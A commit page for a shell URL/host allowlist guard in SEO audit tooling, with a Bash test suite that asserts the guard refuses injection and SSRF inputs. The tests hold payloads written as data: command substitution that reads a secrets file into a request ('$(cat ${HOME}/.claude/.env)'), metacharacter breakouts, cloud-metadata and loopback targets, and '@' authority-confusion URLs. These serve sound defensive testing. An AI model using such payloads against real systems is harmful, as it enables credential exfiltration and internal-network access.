Bastien Chanot
7d6aa09faf
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+, geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the threat model completely: URLs then come from the TARGET'S OWN SERVER, so a remote file's bytes reach a shell. The severe hazard is injection, not SSRF. Those curls quote with ", inside which $ and backtick still execute, and ~/.claude/.env holds GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of `https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The test suite asserts exactly that payload is refused. Code, not prose: a markdown instruction does not stop an injection. Mirrors the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C locale, POSIX case: newline-proof, locale-independent, no grep pitfall. Allowlist over denylist per CLAUDE.md. Covers: shell metacharacters; scheme (http/https only — no file:, gopher:); literal loopback/private/link-local/metadata/.local; userinfo authority confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com). NOT covered, stated in the header rather than left silent: DNS-level SSRF. A public hostname resolving to a private address passes. Closing it needs resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU window. Proportionate to the threat model — this runs on a workstation auditing the operator's own client sites. Wired at all three entry points: both agents' STEP 4 domain assignment, and the W3 sameAs loop (whose URLs come from the audited repo, not the operator). Refused sameAs rows report as REFUSED rather than vanish — neither dead nor live, and an unguardable sameAs is itself a finding. Note: writing the test file tripped the config-protection hook (test suite is a guarded quality-gate). Used the documented one-shot sentinel with a reason rather than working around the gate; it was consumed as designed. Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded against the real zenquality.fr domain (accepted) and the real exfil payload (refused, exit 2).
75 lines
4.2 KiB
Bash
75 lines
4.2 KiB
Bash
#!/usr/bin/env bash
|
|
# lib/tests/url-guard.test.sh
|
|
set -u
|
|
G="$(cd "$(dirname "$0")/../.." && pwd)/lib/url-guard.sh"
|
|
pass=0; fail=0
|
|
check() { if [ "$2" = "$3" ]; then pass=$((pass+1)); else fail=$((fail+1));
|
|
printf 'FAIL %s: got[%s] want[%s]\n' "$1" "$2" "$3"; fi; }
|
|
# rc of a guard call, output discarded
|
|
rc() { bash "$G" "$1" "$2" >/dev/null 2>&1; return $?; }
|
|
# stdout of a guard call (empty on refusal)
|
|
out() { bash "$G" "$1" "$2" 2>/dev/null; }
|
|
|
|
# --- hosts that must pass, echoing back unchanged ---
|
|
rc host "example.com"; check H1-plain "$?" 0
|
|
rc host "www.sub.example.co.uk"; check H2-subdomains "$?" 0
|
|
rc host "my-site.fr"; check H3-hyphen "$?" 0
|
|
check H4-echoes-input "$(out host example.com)" "example.com"
|
|
|
|
# --- shell metacharacters: the reason this guard exists ---
|
|
# Inside the double quotes seo-analyzer.md:257 uses, $ ` \ " break out.
|
|
rc host 'x$(id)'; check H5-cmdsubst "$?" 2
|
|
rc host 'x`id`'; check H6-backtick "$?" 2
|
|
rc host 'x;id'; check H7-semicolon "$?" 2
|
|
rc host 'x|id'; check H8-pipe "$?" 2
|
|
rc host 'x&id'; check H9-ampersand "$?" 2
|
|
rc host 'x"'; check H10-dquote "$?" 2
|
|
rc host "x'"; check H11-squote "$?" 2
|
|
rc host 'x\y'; check H12-backslash "$?" 2
|
|
rc host 'x y'; check H13-space "$?" 2
|
|
rc host 'a
|
|
b'; check H14-newline "$?" 2
|
|
# the real payload: read the OAuth vault into a request
|
|
rc host 'x$(cat ${HOME}/.claude/.env)'; check H15-env-exfil "$?" 2
|
|
check H16-refusal-is-silent "$(out host 'x$(id)')" ""
|
|
|
|
# --- literal local / private / metadata targets ---
|
|
rc host "localhost"; check L1-localhost "$?" 2
|
|
rc host "LOCALHOST"; check L2-case-folded "$?" 2
|
|
rc host "127.0.0.1"; check L3-loopback "$?" 2
|
|
rc host "10.1.2.3"; check L4-private-10 "$?" 2
|
|
rc host "192.168.1.1"; check L5-private-192 "$?" 2
|
|
rc host "172.16.0.1"; check L6-private-172-lo "$?" 2
|
|
rc host "172.31.255.254"; check L7-private-172-hi "$?" 2
|
|
rc host "172.32.0.1"; check L8-172-32-is-public "$?" 0
|
|
rc host "169.254.169.254"; check L9-link-local "$?" 2
|
|
rc host "metadata.google.internal"; check L10-gcp-metadata "$?" 2
|
|
rc host "0.0.0.0"; check L11-any-addr "$?" 2
|
|
rc host "printer.local"; check L12-mdns "$?" 2
|
|
|
|
# --- urls ---
|
|
rc url "https://example.com/"; check U1-https "$?" 0
|
|
rc url "http://example.com/a/b?x=1&y=2"; check U2-query "$?" 0
|
|
rc url "https://example.com:8443/p"; check U3-port "$?" 0
|
|
rc url "https://example.com/a%20b#frag"; check U4-pct-and-frag "$?" 0
|
|
check U5-echoes-input "$(out url https://example.com/x)" "https://example.com/x"
|
|
rc url "ftp://example.com/"; check U6-ftp "$?" 2
|
|
rc url "file:///etc/passwd"; check U7-file "$?" 2
|
|
rc url "gopher://example.com/"; check U8-gopher "$?" 2
|
|
rc url "example.com"; check U9-no-scheme "$?" 2
|
|
rc url 'https://example.com/$(id)'; check U10-cmdsubst "$?" 2
|
|
rc url 'https://example.com/`id`'; check U11-backtick "$?" 2
|
|
rc url "https://localhost/x"; check U12-local "$?" 2
|
|
rc url "https://127.0.0.1:8080/admin"; check U13-loopback "$?" 2
|
|
# authority confusion: the real host is after the @, not before it
|
|
rc url "https://trusted.com@127.0.0.1/"; check U14-userinfo-local "$?" 2
|
|
rc url "https://trusted.com@evil.com/"; check U15-userinfo-any "$?" 2
|
|
|
|
# --- usage ---
|
|
rc host ""; check X1-host-empty "$?" 2
|
|
bash "$G" >/dev/null 2>&1; check X2-no-args "$?" 2
|
|
bash "$G" bogus x >/dev/null 2>&1; check X3-bad-verb "$?" 2
|
|
bash "$G" host a b >/dev/null 2>&1; check X4-extra-args "$?" 2
|
|
|
|
printf 'PASS=%s FAIL=%s\n' "$pass" "$fail"; [ "$fail" -eq 0 ]
|